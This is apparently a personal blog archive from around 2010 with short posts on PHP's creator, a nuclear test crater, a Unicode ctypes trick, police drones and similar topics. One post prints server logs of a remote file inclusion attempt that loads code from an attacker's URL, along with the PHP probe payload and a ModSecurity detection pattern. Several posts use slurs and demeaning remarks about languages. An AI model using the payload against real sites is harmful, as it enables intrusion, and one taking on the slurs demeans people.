This blog is rated 🔞, viewer discretion is advised

Portal crux

portal crux 1

portal crux 2

portal crux 3

via [1]http://www.reddit.com/r/pics/comments/anzmi/portal_conundrum/), 2

Posted

archive

Quotes from creator of PHP

http://en.wikiquote.org/wiki/Rasmus_Lerdorf

I really don’t like programming. I built this tool to program less so that I could just reuse code.

PHP is about as exciting as your toothbrush. You use it every day, it does the job, it is a simple tool, so what? Who would want to read about toothbrushes?

I was really, really bad at writing parsers. I still am really bad at writing parsers.

We have things like protected properties. We have abstract methods. We have all this stuff that your computer science teacher told you you should be using. I don’t care about this crap at all.

There are people who actually like programming. I don’t understand why they like programming.

I’m not a real programmer. I throw together things until it works then I move on. The real programmers will say “yeah it works but you’re leaking memory everywhere. perhaps we should fix that.” I’ll just restart apache every 10 requests.

I think Rasmus Lerdorf a pretty cool and down to earth guy.

In contrast if someone act like ‘down to the earth guy’ in China, douchebags will label them as 土, immature, ignorant, illiterate, civil-scientists, etc.

via

Posted

archive

Largest Man Made Crater

In the picture you see a sedan crater than can be visited in Nevada Test site. You can see how enormous it is when you compare it with the space a platform takes in the picture. This crater is a result of an underground test of storax sedan (104k tons of TNT) and remains the largest man made crater. The nuclear testing was done in the 60s to look for non military use of nuclear explosives.

The nuclear device buried 635 ft under the ground displaced 11,000,000 tons of soil, leaving a crater 100m deep and with a diameter of 39m. It is the largest depression caused by a nuclear detonation. Over 10,000 people visit the crater every year. The test took place on July 6, 1962 and resulted in large amounts of radioactive fallout. The negative effects and health concerns apart, it remains a sight to behold.

Largest Man Made Crater 1

Largest Man Made Crater 2

Largest Man Made Crater 3

Largest Man Made Crater 4

Largest Man Made Crater 5

Largest Man Made Crater 6

This is how it formed

via

Posted

archive

Infographic: River Deep + Mountain High

Publication Title: ‘New and Improved View of the Comparative Heights of the Principal Mountains and Lengths of the Principal Rivers In The World, The whole Judiciously arranged from the various Authorities Extant’.

Publisher: William Darton

Author: WR Gardner

Date: 1823

see more Victorian Infographics here

One thing I hate about Chinese history textbooks is it’s all textual conclusion about imperial politics, never micro-history nor non-text material like graphics or actual paintings.

via

Posted

archive

Goodbye and live long, ted.com

Things will go bad if the Chinese twitter fags discover and popularize some website.

ted.com to get blocked in China

It’s just a matter of time before the NGO fags jump into the fray and spoil TEDx.

It won’t be difficult for them to ignore tech stuff like Pranav Mistry and find controversial political topics on TED, and they will abuse those opinions to satisfy their own motives.

So, here, now, I predict, ted.com will be blocked in China in the foresight future. Goodbye and live long, ted.com.

Posted

archive

Hemingway & Poincaré on subconscious

Hemingway’s hack on maximizes productivity

The best way is always to stop when you are going good and when you know what will happen next. If you do that every day … you will never be stuck. Always stop while you are going good and don’t think about it or worry about it until you start to write the next day. That way your **subconscious** will work on it all the time. But if you think about it consciously or worry about it you will kill it and your brain will be tired before you start.

And Shortcomings of Poincaré’s characterisation

* He never spent a long time on a problem since he believed that the *subconscious* would continue working on the problem while he consciously worked on another problem.

inspired via reddit

Posted

archive

La Campanella

Oh fuck, why didn’t I discover Yuja Wang or Yundi Li or earlier?!!!!!!!

via 1, 2

Posted

archive

Finger vs Saw

I honestly admire Steve for his guts and creativity!

About 10 people a day lose a finger in table saw accidents.

via

Posted

archive

Panorama video streaming in Flash

Found this interesting panorama video streaming in Flash

This is how the video really like in a normal player

l_gd_13.f4v 27.5 MiB, 4mn 42s, 816 Kbps
AVC, Main@L4.1, 1 600x800x15.000fps, NTSC, 24 bits
AAC, 96.0 Kbps, 2 channels
Encoded date : UTC 2009-07-23 04:47:30

Flash is really interesting technology. It would be super cool if Google Street view is filmed in video instead of pictures

See other demos 1, 2

Posted

archive

HPD testing drone to spy on local citizens

Police state FTW!

The Houston Police wanted to keep the tests secret, but the local NBC affiliate KPRC was able to capture footage of the launch of the aircraft and track it using their news helicopter.

Police helicopter pilots told the KPRC crew that the surrounding airspace was restricted and threatened the pilot with action from the FAA. When the FAA was contacted several times by the KPRC news crew they stated that there was no restriction.

HPD, Homeland Security and other guests watched the tests from an area ranch. The entrance of the ranch was blocked by police and the press was not allowed in.

The drone is equipped with surveillance hardware including cameras and can stay airborne for 15-24 hours without landing.

via

Posted

archive

invoke GetUName() from getuname.dll using ctypes in python

Here’s a way to lookup a Unicode character’s full name, using Windows built-in getuname.dll, which is the core component of CharMap.exe.

>>> import ctypes, ctypes.wintypes
>>> dwCodePoint = ctypes.wintypes.DWORD( ord('&') )
>>> lpBuffer = ctypes.create_unicode_buffer(255)
>>> ctypes.windll.getuname.GetUName(dwCodePoint , ctypes.byref(lpBuffer))
2 #length of returned lpBuffer
>>> print lpBuffer.value
与号 #Localized name of the Unicode character '&'

The GetUName() function is an undocumented Win32 API, learned from 1, 2, 3

Posted

archive

How to find popular AV sites

A site like BugMeNot.com is something providing list of username/password for popular websites, so lazy fags can access and share logins for websites that require you to register in order to view content, it’s also anonymous since all people are sharing the public account.

But there’s a commercialized version for sharing VIP accounts of porn sites.

So if you wonder the source where your roommate download those AV, that’s a fare good list :)

But their business model is insecure, malicious user could change the VIP account’s password thus the investment is lost, so instead they provide a specialized browser, I didn’t try it out but we can assume one could always sniff the cookie. Unless the website use a dedicated proxy to filter any cookie leak or password change actions on their server.

Counter measures is simple for public ones like BugMeNot: collect the public account data regularly and kill them, or lawsuit. Against private or paid ones like the site mentions above is a little difficult, but you can kick off ID which is simultaneously online from multiple addresses.

via NewSMTH

Posted

archive

ChucK

ChucK and SuperCollider are cool projects. Sadly I don’t get a clue of what’s going on as a totally outsider.

Posted

archive

Drop of water

Unbelievable crazy! I’ve never see anything like this before!

via

Posted

archive

g.cn, ehh?

google.cn DMCA

I am always a pro-Google fan, but, who the fuck cares about DMCA in China? Did Google know how many users would choose other search engines if they can’t find what they need? Google.cn fail, this blatantly & splendidly.

Posted

archive

quadricopter RC by iPhone

Damn, this is cool.

I imagined phones to be a universal controller thing, just did expect it to be so interesting.

And here’s the first prototype test flight:

via

Posted

archive

“Aoccdrnig to rscheearch at Cmabrigde uinervtisy” jumble is a hoax

The following famous quote:

Aoccdrnig to rscheearch at Cmabrigde uinervtisy, it deosn’t mttaer waht oredr the ltteers in a wrod are, the olny iprmoetnt tihng is taht the frist and lsat ltteres are at the rghit pclae. The rset can be a tatol mses and you can sitll raed it wouthit a porbelm. Tihs is bcuseae we do not raed ervey lteter by it slef but the wrod as a wlohe.

says

it doesn’t matter in what order the letters in a word are, the only important thing is that the first and last letter be at the right place.

is a hoax

Example:

Anidroccg to rcraeseh at Cgdirbmae utisreviny

is difficult to read.

The real secret is the word’s shape looks familiar

English word shape

Microsoft has a technology on that called parallel letter recognition

And this is one of the reasons why written Chinese system is unique in all human languages. Fuck all uncivilized monkey languages like alphabetic or phonemic, logographic language FTW!

via

Posted

archive

Evolution Bridge

This is a very looooooooooong pic, click for full version:

This is the work of Blu/Muto. He’s done some incredible work, the Muto video on the main page is especially worth checking out.

I used to dislike graffiti in western cities, think that’s garbage rather than art. Now I changed my mind.

PS there’s no scientific evidence that mammoth evolved from dinosaurs or did humans evolve from the mammoth

via

Posted

archive

Blog was hacked

My blog was hacked by some fag from somewhere due to an exploit in Wordpress plugin HashCash.

The server load surged to 300 and I have to disable Wordpress temporarily and re-install 2.9.1

77.221.130.17 - - [05/Jan/2010:04:01:27 -0800] "GET //components/com_hashcash
/server.php?mosConfig_absolute_path=http://photoworld.com.ua////zfxid1.txt?? 
HTTP/1.1" 503 532 "-" "Mozilla/5.0"
77.221.130.17 - - [05/Jan/2010:04:01:27 -0800] "GET /archives/242//components
/com_hashcash/server.php?mosConfig_absolute_path=http://photoworld.com.ua////
zfxid1.txt?? HTTP/1.1" 503 532 "-" "Mozilla/5.0"
77.221.130.17 - - [05/Jan/2010:04:01:27 -0800] "GET /archives//components/com
_hashcash/server.php?mosConfig_absolute_path=http://photoworld.com.ua////zfxi
d1.txt?? HTTP/1.1" 503 532 "-" "Mozilla/5.0"



[Tue Jan 05 04:01:27 2010] [error] [client 77.221.130.17] ModSecurity: Access
 denied with code 503 (phase 2). Pattern match "=(http|www|ftp)\\:/(.+)\\.(c|
 dat|kek|gif|jpe?g|jpeg|png|sh|txt|bmp|dat|txt|js|html?|tmp|asp)\\x20?\\?" at
  REQUEST_URI. [file "/dh/apache2/template/etc/mod_sec2/gotroot/50_asl_rootki
  ts.conf"] [line "23"] [id "390144"] [rev "2"] [msg "Command shell attack: G
  eneric Attempt to remote include command shell"] [severity "CRITICAL"] [hos
  tname "blog.est.im"] [uri "/components/com_hashcash/server.php"] [unique_id
   "S0MqF0Wji1IAAEzEq5kAAAAK"]
[Tue Jan 05 04:01:27 2010] [error] [client 77.221.130.17] ModSecurity: Access
 denied with code 503 (phase 2). Pattern match "=(http|www|ftp)\\:/(.+)\\.(c|
 dat|kek|gif|jpe?g|jpeg|png|sh|txt|bmp|dat|txt|js|html?|tmp|asp)\\x20?\\?" at
  REQUEST_URI. [file "/dh/apache2/template/etc/mod_sec2/gotroot/50_asl_rootki
  ts.conf"] [line "23"] [id "390144"] [rev "2"] [msg "Command shell attack: G
  eneric Attempt to remote include command shell"] [severity "CRITICAL"] [hos
  tname "blog.est.im"] [uri "/archives/242//components/com_hashcash/server.ph
  p"] [unique_id "S0MqF0Wji1IAAEpmXZcAAAAJ"]
[Tue Jan 05 04:01:27 2010] [error] [client 77.221.130.17] ModSecurity: Access
 denied with code 503 (phase 2). Pattern match "=(http|www|ftp)\\:/(.+)\\.(c|
 dat|kek|gif|jpe?g|jpeg|png|sh|txt|bmp|dat|txt|js|html?|tmp|asp)\\x20?\\?" at
  REQUEST_URI. [file "/dh/apache2/template/etc/mod_sec2/gotroot/50_asl_rootki
  ts.conf"] [line "23"] [id "390144"] [rev "2"] [msg "Command shell attack: G
  eneric Attempt to remote include command shell"] [severity "CRITICAL"] [hos
  tname "blog.est.im"] [uri "/archives//components/com_hashcash/server.php"] 
  [unique_id "S0MqF0Wji1IAAEmWRFIAAAAI"]

http://photoworld.com.ua////zfxid1.txt

zfxid.txt
<?php /* ZFxID */ echo("Shiro"."Hige"); die("Shiro"."Hige"); /* ZFxID */ ?>

When upgrading Wordpress 2.9.1 I lost some of my modification to Wordpress, and I have to type them letter by letter again in a slow SSH terminal. Fuck!

Posted

archive

Water polygons and polyhedra

Science is awesome!

When a vertical water jet strikes a circular horizontal impactor, the water is deflected into a horizontal sheet. At sufficiently high speeds, the flow results in a circular water sheet, whose radius is set by a balance between inertial and curvature forces. At lower speeds, the sheet sags significantly under the influence of gravity, and may close, giving rise to a water bell (Figure 1). We have conducted a series of experiments in order to investigate the influence of increasing fluid viscosity on fluid sheets and bells.

The circular fluid sheets are marked by an axisymmetry-breaking instability that results in polygonal structures (Figure 2). Fluid streams from the sheet, into then along the rim, and finally streams from the corners of the polygon. In certain parameter regimes, the streams emerging from the corners take the form of a linked chain (Figure 3). The minimum number of sides observed on the polygons was four. By deflecting the sheet from the horizontal, one may produce sagging structures ressembling fluid umbrellas (Figure 4) or fluid parasols (Figure 5). Axisymmetry is also broken in the fluid bells, which assume the form of polyhedra (Figure 6).

from MIT via reddit

Posted

archive

Rational Thinking

Quotes from Rational Thinking Score Report™

  • Dissatisfied means that you have goals — an idea of how you want your life to be, and it is not as you would like currently. Use that dissatisfaction to motivate youself to make your life the way you want it to be as best you can.
  • Depression is the combination of having goals, thinking that you need to achieve those goals, and believing that you will never achieve them.
  • Sometimes people who have been depressed for a long time have a problem with Symptom Stress — being upset about being upset.
  • nervous / anxiety is the result of fear. Irrational anxiety is the result of confusing needs and wants, confusing possibility and probability and magical worry.
  • Anger primarily is the result of the confusion of needs and wants and irrational shoulds.

The report and analyze are very helpful for self-diagnose and definitely interesting to read.

Here’s my results:

  • Rational Thinking Score™ is 153
  • Total Unhappiness Score is 27

It’s very mind-blowing to read my problems and introspection. It will take a while for me to understand and accept it. Many of the items are very contradictive to traditional Chinese belief. One should be very careful examine those tips and rules.

Was vernünftig ist, das ist Wirklich; und was wirklich ist, das ist vernünftig. – Georg Wilhelm Friedrich Hegel

Posted

archive

Valve runs out of CD Keys for Mass Effect

From steam store via reddit

Oops, this is embarrassing. Due to high demand we have temporarily run out of unique keys for this title. You may, by all means, purchase at the awesome sale price but may not be able to play until we receive more unique product keys. It shouldn’t take too long, we have sent armed guards to the publisher’s house to get them out of bed, drive them to their secret lair and produce more keys.

steam out of unique keys for Mass Effect

LMAO

Posted

archive